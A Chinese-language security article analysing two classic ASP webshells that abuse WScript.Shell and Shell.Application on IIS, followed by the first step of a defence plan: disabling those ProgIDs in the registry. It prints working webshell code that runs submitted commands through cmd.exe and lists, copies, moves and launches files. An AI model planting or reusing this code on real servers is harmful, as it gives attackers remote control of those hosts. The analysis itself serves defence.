ASP 木馬後門深度分析與防禦體系建設：WScript.Shell / Shell.Application 對象封鎖、注冊表硬化與檢測清除實戰

ASP 木馬利用 IIS 內建的 ActiveX 物件 (WScript.Shell、Shell.Application、Scripting.FileSystemObject) 執行系統指令、檔案操作、登錄表讀寫，屬於「無檔案/腳本型」後門，傳統防毒軟體極難查殺。本文剖析兩款經典 ASP 木馬原始碼、攻擊鏈原理，建立從「物件封鎖、權限最小化、流量檢測、應用層 WAF、應急響應」的纏繞防禦體系。

木馬一：WScript.Shell 命令執行型 (功能強、適用面窄)

核心代碼片段

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
    szTempFile = "C:" & oFileSys.GetTempName()
    oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
    Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    oFileSys.DeleteFile szTempFile, True
End If

特徵

• 需 Scripting.FileSystemObject (FSO) 支援 → 可透過 IIS「應用程式對應」移除 .asp 對 FSO 的存取、或注冊表封鎖 Scripting.FileSystemObject ProgID 來阻斷。
• 預設以 IUSR_* 身分執行 → 僅具 Guest 權限，除非該帳號被加入 Administrators (極度危險配置)。
• 僅在「預設網站」根目錄有效，虛擬目錄/虛擬主機若未繼承執行權限則無法運作。

木馬二：Shell.Application 檔案操作型 (功能弱、適用面極廣)

核心代碼片段

Set shell = Server.CreateObject("Shell.Application")
Set fod1 = shell.NameSpace(szCMD)  ' 目錄瀏覽
For Each co In fod1.Items
    Response.Write co.Path & "-----" & co.Size
Next

' 複製/移動/執行程式
Set shell1 = Server.CreateObject("Shell.Application")
Set fod1 = shell1.NameSpace(szTarget)
fod1.CopyHere fodItem  ' 複製
fod1.MoveHere fodItem  ' 移動
shell3.NameSpace(szPath).Items.Item(szExe).InvokeVerb  ' 執行程式

特徵

• 不依賴 FSO，繞過 FSO 封鎖。
• 任意虛擬主機/虛擬目錄均可執行，只要上傳 .asp 檔案即可，危害極大 (共享主機環境最怕此類)。
• 功能涵蓋：目錄列舉、檔案複製/移動、程式執行 — 足以竄改首頁、植入後門、橫向移動。

核心防禦策略：從物件來源切斷攻擊鏈

1. 注冊表封鎖高危 ProgID (最直接、最有效)

路徑：HKEY_CLASSES_ROOT\CLSID\{ProgID 對應的 CLSID} 或直接修改 HKEY_CLASSES_ROOT\ProgID。

操作步驟：
1. regedit → 定位上述 Key → 右鍵重命名 (建議加 .DISABLED 後綴，保留原名便於回滾)。
2. 必須重啟 IIS (iisreset) 或回收應用程式集區使生效。
3. 修改後測試：合法 ASP 頁面嘗試 Server.CreateObject("WScript.Shell") 應報錯 800a01ad - ActiveX component can't create object。
注意： 木馬作者可嘗試 WScript.Shell.1、WScript.Shell.DISABLED 等變體，建議同時封鎖版本無關 ProgID 或使用 AppLocker/WDAC 白名單模式。